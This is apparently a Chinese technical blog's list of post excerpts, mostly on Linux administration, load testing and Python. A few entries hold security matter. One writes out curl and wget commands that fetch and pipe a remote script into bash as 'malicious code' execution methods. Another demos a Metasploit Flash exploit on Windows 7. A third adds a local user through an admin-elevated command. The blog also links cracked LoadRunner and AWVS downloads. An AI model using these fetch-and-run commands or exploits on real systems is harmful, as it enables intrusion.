技术总结篇
xianjie0318
坚持下去
展开
-
centos7下安装loadrunner11的负载生成器LoadRunner Generator11.0 for Linux.iso
测试环境1、主控机:windows10安装破解版loadrunner112、负载机:centos7安装LoadRunner Generator11.0 for Linux.isocentos7下安装负载生成器1、准备:LoadRunner Generator11.0 for Linux.iso、centos7测试机2、把iso上传到服务器上,然后mount -o loop LoadRunner Generator11.0 for Linux.iso/mnt 挂载到/mnt下。...原创 2021-04-01 15:47:41 · 528 阅读 · 0 评论 -
web漏洞扫描工具:AWVS安装、使用教程
一、AWVS破解版下载链接:https://pan.baidu.com/s/11gCboSgaQ3lWEYN4fFT5rw提取码:k2nk包含:10.5、11版本,其中11需要解压密码二、AWVS安装1、双击exe安装;2、点击“Next";3、选择我同意;4、设置用户名和密码;5、AWVS Web漏洞扫描工具地址是:https://localhost:3443/,默认端口是3443,这个可以改,具体看你自己。8、awvs安装...原创 2021-01-22 08:34:06 · 6442 阅读 · 0 评论 -
virt-install命令,并使用shell简化安装命令
virt-install命令一般选项:指定虚拟机的名称、内存大小、VCPU个数及特性等; -n NAME, --name=NAME:虚拟机名称,需全局惟一; -r MEMORY, --ram=MEMORY:虚拟机内在大小,单位为MB; --vcpus=VCPUS[,maxvcpus=MAX][,sockets=#][,cores=#][,threads=#]:VCPU个数及相关配置; --cpu=CPU:CPU模式及特性,如coreduo等;可以使用qemu-kvm -cpu ?来获取支.原创 2021-01-08 15:23:28 · 670 阅读 · 0 评论 -
centos7下kvm安装和使用
kvm简介KVM 全称是 Kernel-Based Virtual Machine。也就是说 KVM 是基于 Linux 内核实现的。kvm.ko(内核模块),只用于管理虚拟 CPU 和内存。IO 的虚拟化,就交给 Linux 内核和qemu来实现。Libvirt:是 KVM 的管理工具。Libvirt 除了能管理 KVM 这种 Hypervisor,还能管理 Xen,VirtualBox 等。OpenStack 底层也使用 Libvirt。Libvirt 包含 3 个东西:后台 daemo.原创 2021-01-08 15:01:47 · 2045 阅读 · 1 评论 -
ansible简介和使用
ansible是一个由Python编写的强大的配置管理解决方案。尽管市面上已经有很多可供选择的配置管理解决方案,但他们各有优劣,而 ansible 的特点就在于它的简洁。让 ansible 在主流的配置管理系统中与众不同的一点便是,它并不需要你在想要配置的每个节点上安装自己的组件。同时提供的一个优点在于,如果需要的话,你可以在不止一个地方控制你的整个基础架构。最后一点是它的正确性,或许这里有些争议,但是我认为在大多数时候这仍然可以作为它的一个优点主控环境:centos7注意:1.建议基于ss..原创 2021-01-07 17:25:04 · 14183 阅读 · 0 评论 -
日志logger命令简介
通过logger命令记录日志logger是一个shell命令接口,可以通过该接口使用Syslog的系统日志模块,还可以从命令行直接向系统日志文件写入一行信息。logger 语法logger [options] [messages] **options (选项):** -d, --udp 使用数据报(UDP)而不是使用默认的流连接(TCP) -i, --id 逐行记录每一次logger的进程ID -f, --file file_...原创 2021-01-06 17:54:40 · 3869 阅读 · 0 评论 -
linux下对某个程序的进程监控并推送syslog入mysql样例
rsyslog服务端:开启udp或tcp 514接收syslog$ModLoad imudp # 引用udp协议的模块$UDPServerRun 514 # 设置udp协议使用端口# Provides TCP syslog reception$ModLoad imtcp # 引用tcp协议的模块$InputTCPServerRun 514 # 设置tcp协议使用端口配置syslog入mysql规则agent.* :ommysql:192.168.原创 2021-01-06 17:41:50 · 407 阅读 · 0 评论 -
windows共享文件夹映射到centos7上
windows共享文件夹://10.12.104.67/testlinux环境:/mnt/buildlinux环境首先安装cifs-util然后执行mount -t cifs -o username=windows服务账号,password=windows服务密码//10.12.104.67/test /mnt/build 涉外:语法: mount -t 类型 -o 挂接方式 源路径 目标路径 -t 详细选项: 光盘或光盘镜像:iso966...原创 2021-01-05 11:08:57 · 756 阅读 · 0 评论 -
性能监测工具dstat
dstat特点:结合了vmstat,iostat,ifstat,netstat以及更多的信息实时显示统计情况在分析和排障时可以通过启用监控项并排序模块化设计使用python编写的,更方便扩展现有的工作任务容易扩展和添加你的计数器(请为此做出贡献)包含的许多扩展插件充分说明了增加新的监控项目是很方便的可以分组统计块设备/网络设备,并给出总数可以显示每台设备的当前状态极准确的时间精度,即便是系统负荷较高也不会延迟显示显示准确地单位和和限制转换误差范围用不同的颜色显示不同的单位显示中原创 2020-12-30 14:01:08 · 783 阅读 · 0 评论 -
kali-msfconsole:演示-浏览器缓冲区溢出攻击
测试机:windows7 32位测试步骤:准备Win7-X86并安装Flash18 如果安装提示不是最新版本,需要去注册表-删除HKEY—LOCAL—MACHINE\SOFTWARE\Macromedia\flashplayer\safeversions 中18以及以上的版本安装后运行命令msfconsolemsf5 > use exploit/multi/browser/adobe_flash_opaque_background_uaf[*] No payload configure.原创 2020-12-10 17:24:30 · 1974 阅读 · 0 评论 -
Grafana+Prometheus+Exporter(简称GPE监控预警系统)试用
Grafana安装(linux)下载:https://grafana.com/grafana/download下载wget https://dl.grafana.com/oss/release/grafana-6.5.1-1.x86_64.rpmsudo yum localinstall grafana-6.5.1-1.x86_64.rpm启动sudo service grafana-server start1访问安装成功后浏览器输入 localhost:3000 可以访问g..原创 2020-09-20 11:02:29 · 517 阅读 · 0 评论 -
flask+highcharts+mysql生成资源监控曲线图
代码结构app.py#!/usr/bin/python# _*_ coding=utf-8 _*_from flask import Flask,requestfrom flask import render_templateimport pymysql,jsonfrom flask_bootstrap import Bootstrapapp = Flask(__name__)bootstrap = Bootstrap(app)# ip='10.12.104.126'def原创 2020-09-15 17:54:00 · 441 阅读 · 0 评论 -
Python实现管理员权限运行CMD指令
可使用#!/usr/bin/env python# coding:utf8import subprocesscmd="net user test3 123456 /add"import ctypes, sysdef is_admin(): try: return ctypes.windll.shell32.IsUserAnAdmin() except: return Falseif is_admin(): recode = subp.原创 2020-09-15 17:23:51 · 7018 阅读 · 3 评论 -
Python使用Flask+Highchart,搭配数据功能模块,加载 HTML 表格数据
代码结构src---static目录---------data.js(从Highcharts-8.2.0获取)---------exporting.js(从Highcharts-8.2.0获取)---------highcharts.js(从Highcharts-8.2.0获取)---------jquery-3.1.1.min.js(jquery官网获取)---------test.js(测试)---templates目录-----------index.html---testhi原创 2020-09-10 17:46:04 · 421 阅读 · 0 评论 -
python-threading 线程同步锁互斥控制
多线程是乱序执行的,在某种情况下,输出的结果可能不是预期的值。案例一:未添加同步锁,每次执行结果不一定相同,预期结果50#!/usr/bin/env python3# -*- coding:utf-8 -*-import threading, timeclass myThread(threading.Thread): def __init__(self, n): threading.Thread.__init__(self) self.myThread原创 2020-09-02 17:18:13 · 251 阅读 · 0 评论 -
curl模拟delete/put/post/get请求
curl -h来查看请求参数的含义-v 显示请求的信息-X 选项指定其它协议get: curl -v 192.168.33.1:8080/girls/age/18post: curl -v 192.168.33.1:8080/girls -d 'age=14&cupSize=C' curl -v -X POST 192.168.33.1:8080/girls -d 'age=14&cupSize=C'put: curl -v -X PUT -原创 2020-08-28 14:34:47 · 216 阅读 · 0 评论 -
vsftp设置上传文件权限
1)实现匿名用户的上传下载文件程序代码:Anonymous_enable=yes匿名登陆Connect_form_port_20=yes启用FTP数据端口的数据连接Pam_service_name=vsftpd验证方式Listen=yes独立的VSFTPD服务器这样你就可以实现匿名登陆ftp了,但还不能上传文件程序代码:Anon_upload_enable=yes开放上传权限Anon_mkdir...原创 2020-08-28 11:15:16 · 6307 阅读 · 0 评论 -
docker安装
一、安装docker1、Docker 要求 CentOS 系统的内核版本高于 3.10 ,查看本页面的前提条件来验证你的CentOS 版本是否支持 Docker 。通过 uname -r 命令查看你当前的内核版本$ uname -r2、使用 root 权限登录 Centos。确保 yum 包更新到最新。$ sudo yum update3、安装需要的软件包, yum-util 提供yum-config-manager功能,另外两个是devicemapper驱动依赖的$ sudo yum原创 2020-08-21 16:53:18 · 121 阅读 · 0 评论 -
通过命令下载执行恶意代码的形式
一、Linux 远程执行恶意代码01、curl以用curl的方式执行http页面上的shell脚本,无需download,在本地机器上直接执行。方式1:curl -fsSL http://*.*.*.*:8080/test.sh | bash方式2:bash < <( curl http://*.*.*.*:8080/test.sh )02、wget执行wget命令远程下载恶意程序。方式1:wget -q -O- http://*.*.*.*:8080/test.sh | ba.原创 2020-08-20 18:02:20 · 746 阅读 · 0 评论 -
搭建loganalyzer日志分析工具
基础环境Centos7php 5.4.16rsyslog 8.24loganalyzer 4.1.11服务安装安装LAMP环境yum -y install httpd mysql mysql-server php php-mysql mysql-devel启动Apache和mysqlsystemctl restart mysqldsystemctl restart httpd1、配置httpd,测试http是否正常访问cd /etc/httpd/confvi htt原创 2020-08-20 17:20:54 · 6430 阅读 · 0 评论 -
使用logger或logger.exe收集服务器资源发送rsyslog收集资源监控数据,并可存储mysql进行存储查看或生成报告
1、修改服务端配置,打开服务监听端口、配置日志存储路径,并重启服务:#### modules ####…………# Provides UDP syslog reception$ModLoad imudp$UDPServerRun 514# Provides TCP syslog reception$ModLoad imtcp$InputTCPServerRun 514#### RULES ##### user Log all kernel messages to the consol原创 2020-08-19 16:25:25 · 495 阅读 · 0 评论 -
Centos7简单搭建FTP服务器
vsftpdvsftpd是一款在Linux发行版中最受推崇的FTP服务器程序。特点是小巧轻快,安全易用。①vsftpd 是以一般身份启动服务,所以对于 Linux 系统的使用权限较低,对于Linux 系统的危害就相对的减低了。此外, vsftpd 亦利用 chroot() 这个函式进行改换根目录的动作,使得系统工具不会被vsftpd 这支服务所误用;②任何需要具有较高执行权限的 vsftpd 指令均以一支特殊的上层程序( parent process ) 所控制 ,该上层程序享有的较高执行权限.原创 2020-08-19 13:59:43 · 410 阅读 · 0 评论 -
linux查看目录下所有文件内容中是否包含某个字符串
查找目录下的所有文件中是否含有某个字符串find .|xargs grep -ri "port"查找目录下的所有文件中是否含有某个字符串,并且只打印出文件名find .|xargs grep -ri "port" -l原创 2020-08-19 12:27:01 · 4394 阅读 · 0 评论 -
python中nose输出xml报告添加字段:author
在xunit模块下的addSuccess、addFailure、addError增加列名 def addError(self, test, err, capt=None): """Add error output to Xunit report. """ taken = self._timeTaken() if issubclass(err[0], SkipTest): type = 'skipped'原创 2020-08-13 14:25:15 · 306 阅读 · 0 评论 -
Python之继承,接口归一化和抽象
1、什么是继承?继承指的是类与类之间的关系,功能之一就是用来解决代码重用问题继承是一种创建新类的方式,在python中,新建的类可以继承一个或多个父类,父类又可称为基类或超类,新建的类称为派生类或子类,继承又fenwei单继承和多继承2、继承与抽象抽象分成两个层次:1.将奥巴马和梅西这俩对象比较像的部分抽取成类;2.将人,猪,狗这三个类比较像的部分抽取成父类。抽象最主要的作用是划分类别(可以隔离关注点,降低复杂度)继承:是基于抽象的结果,通过编程语言去实现它,肯定是先经历抽象这个原创 2020-08-06 10:01:34 · 307 阅读 · 0 评论 -
Python操作redis系列之 列表(list)
连接redis服务,查看redis数据使用redisclient# -*- coding: utf-8 -*-import redisr =redis.Redis(host="127.0.0.1",port=6379,password=None)1、 Lpush 命令将一个或多个值插入到列表头部。 如果 key 不存在,一个空列表会被创建并执行 LPUSH 操作。 当 key 存在但不是列表类型时,返回一个错误。 执行 LPUSH 命令后,列表的长度。print r.lpush(".原创 2020-08-04 10:14:33 · 3616 阅读 · 0 评论 -
windows操作系统启动后,不用输入用户名和密码,自动登录设置
组合键“WIN+R”打开运行窗口,输入“Netplwiz.exe”,去掉勾选“要使用本计算机,用户必须输入用户名和密码”。原创 2020-08-03 09:38:02 · 1816 阅读 · 0 评论 -
使用pywin32-win32serviceutil把socket服务端做成windows服务运行(开机自启动)
开发环境:python3.7第三方库:pywin32CS通信:socket,案例见Python3-实现网络通信,客户端调用服务端的系统命令ipconfig(Socket/Subprocess)用途:客户端下发操作指令,测试机(安装python服务)监听并实时执行指令,并把结果返回给客户端脚本:pythonservice.py#!/usr/bin/python#!encoding:utf-8'''Author:xianqcDate:2020-08-01'''imp原创 2020-08-01 15:26:24 · 3132 阅读 · 0 评论 -
python-Windows服务启动时,报错服务没有及时响应启动或控制请求
C:\Users\Administrator\PycharmProjects\XianAutotest\test>python pythonservice.py startStarting service PythonServiceError starting service: 服务没有及时响应启动或控制请求。解决方法:python默认安装是作为LocalSystem,配置的是用户路径而不是环境变量,所以需要添加环境变量。在用户变量处去掉python路径,然后在环境变量加入python原创 2020-08-01 15:05:10 · 2616 阅读 · 0 评论 -
应急响应--linux病毒查杀工具ClamAV
介绍 Clam AntiVirus 是一款 UNIX 下开源的 (GPL) 反病毒工具包,专为邮件网关上的电子邮件扫描而设计。该工具包提供了包含灵活且可伸缩的监控程序、命令行扫描程序以及用于自动更新数据库的高级工具在内的大量实用程序。该工具包的核心在于可用于各类场合的反病毒引擎共享库。主要使用ClamAV开源杀毒引擎检测木马、病毒、恶意软件和其他恶意的威胁。在线安装#安装yum install -y clamav#更新病毒库为防止蠕虫传播,必须经常检查更新,ClamAV用户需要经.原创 2020-07-13 14:59:36 · 1816 阅读 · 0 评论 -
python3 协程gevent介绍并实现多客户端并发通信socket
协程的概念协程,又称微线程,纤程。英文名Coroutine。线程是系统级别的它们由操作系统调度,而协程则是程序级别的由程序根据需要自己调度。在一个线程中会有很多函数,我们把这些函数称为子程序,在子程序执行过程中可以中断去执行别的子程序,而别的子程序也可以中断回来继续执行之前的子程序,这个过程就称为协程。也就是说在同一线程内一段代码在执行过程中会中断然后跳转执行别的代码,接着在之前中断的地方继续开始执行,类似与yield操作。协程拥有自己的寄存器上下文和栈。协程调度切换时,将寄存器上下文和栈保存到原创 2020-07-05 18:58:27 · 1177 阅读 · 0 评论 -
Python3-实现网络通信,客户端调用服务端的系统命令ipconfig(Socket/Subprocess)
Python3 提供了两个级别访问的网络服务。:低级别的网络服务支持基本的 Socket,它提供了标准的 BSD Sockets API,可以访问底层操作系统Socket接口的全部方法。 高级别的网络服务模块 SocketServer, 它提供了服务器中心类,可以简化网络服务器的开发。这里只介绍简单的网络服务Socket:Socket又称"套接字",应用程序通常通过"套接字"向网络发出请求或者应答网络请求,使主机间或者一台计算机上的进程间可以通讯。socket常用的方法函数 描述原创 2020-07-05 10:54:14 · 1146 阅读 · 0 评论 -
python+unittest的小案例
# -*- coding: utf-8 -*-import requests,jsonimport unittestclass testlogin(unittest.TestCase): @classmethod def setUpClass(cls): loginurl = "https://*******/api/account/login?code=" data={"loginName":"zycslypx6511","password":"**.原创 2020-05-26 16:53:21 · 206 阅读 · 0 评论 -
Jenkins+git 实现代码自动化部署
一、持续集成与持续交付持续集成什么是持续集成?软件开发中,集成是一个很可能发生未知错误的过程。持续集成是一种软件开发实践,希望团队中的成员频繁提交代码到代码仓库,且每次提交都能通过自动化测试进行验证,从而使问题尽早暴露和解决。持续集成的好处是什么?持续集成可以使问题尽早暴露,从而也降低了解决问题的难度,正如老马所说,持续集成无法消除bug,但却能大大降低修复的难度和时间。如何做到持续集成?首先,持续集成需要:1. 单一的代码仓库,团队成员都像该仓库提交代码;2. 自动化构原创 2020-05-19 15:46:42 · 4518 阅读 · 1 评论 -
loadrunner的编程案例--- 获取请求头 响应头 响应体 tokenid 条件 循环等
Action(){ int count,total=0; char buffer [50]; long file_stream; char * filename = "D:\\test.txt"; //读取文件的存放位置/* web_reg_save_param("ResponseBody", "LB=", "RB=", "Search=Body...原创 2020-05-08 16:36:26 · 1412 阅读 · 0 评论 -
性能测试的价值、全链路压测了解
一、有价值的性能测试需要满足什么1. 性能测试与性能分析要有明确的数据证明调优的效果。性能测试人员/团队要有能力给运维一份性能测试报告+配置文档+风险说明。2. 性能测试与性能分析的价值要体现在有效的节约成本中。既测又调并且调得有效果,能直观反馈在成本数据上。二、性能测试在软件生命周期中的位置三、什么是全链路压测基于实际的生产业务场景、系统环境,模拟海量的用户请求和...原创 2020-03-25 16:39:14 · 2780 阅读 · 0 评论 -
性能测试的场景类型、监控、瓶颈分析、性能调优的规则总结
测试场景 测试模型是在业务模型的基础上演变而来的,一般情况下测试模型和业务模型是相同的,但由于某些业务无法模拟或安全风险,需要去掉此类业务,重新按业务占比建立压测模型的分析; 测试类型一般主要关注的是负载测试、压力测试;其中常见的测试方式,每种方式针对的不同目的:1、单交易基准测试、负载测试、压力测试2、混合交易负载测试(容量测试)、压⼒测试; 3、业务突...原创 2020-03-17 15:40:13 · 454 阅读 · 0 评论 -
cookie与session的机制与原理
cookie机制。正统的cookie分发是通过扩展HTTP协议来实现的,服务器通过在HTTP的响应头中加上一行特殊的指示以提示浏览器按照指示生成相应的cookie。然而纯粹的客户端脚本如JavaScript或者VBScript也可以生成cookie。而cookie的使用是由浏览器按照一定的原则在后台自动发送给服务器的。浏览器检查所有存储的cookie,如果某个cookie所声明的作用范围大于等于将...原创 2020-03-11 16:48:29 · 614 阅读 · 0 评论 -
loadrunner的常用函数
一、基础函数 在VU左边导航栏中,有三个LR框架函数,分别是vuser_init(),Action(),vuser_end()。这三个函数存在与任何Vuser类型的脚本中。 ●vuser_init():虚拟用户的初始化函数,存放用户初始化操作,如登录、分配内存等。(只运行一次) ●Action:虚拟用户要做的业务,也就是测试内容的主体。参数化只对Action有效,Action重复运行。...原创 2020-03-11 16:37:38 · 227 阅读 · 0 评论 -
Weblogic创建一个域,部署web项目,启动时报错:org.apache.logging.log4j.web.Log4jServletContextListener java.lang.Class
weblogic部署web项目时,激活报错如下也会报这种错:(Unsupported major.minor version 51.0)产生原因:用jdk7编译的class文件放到基于jdk6运行在weblogic的domain之中,就会报这个错。也就是说创建的新domain用的jdk6,但是web项目使用的是jdk7,所以报这个错误解决办法:重新创原创 2017-09-07 11:08:21 · 6480 阅读 · 0 评论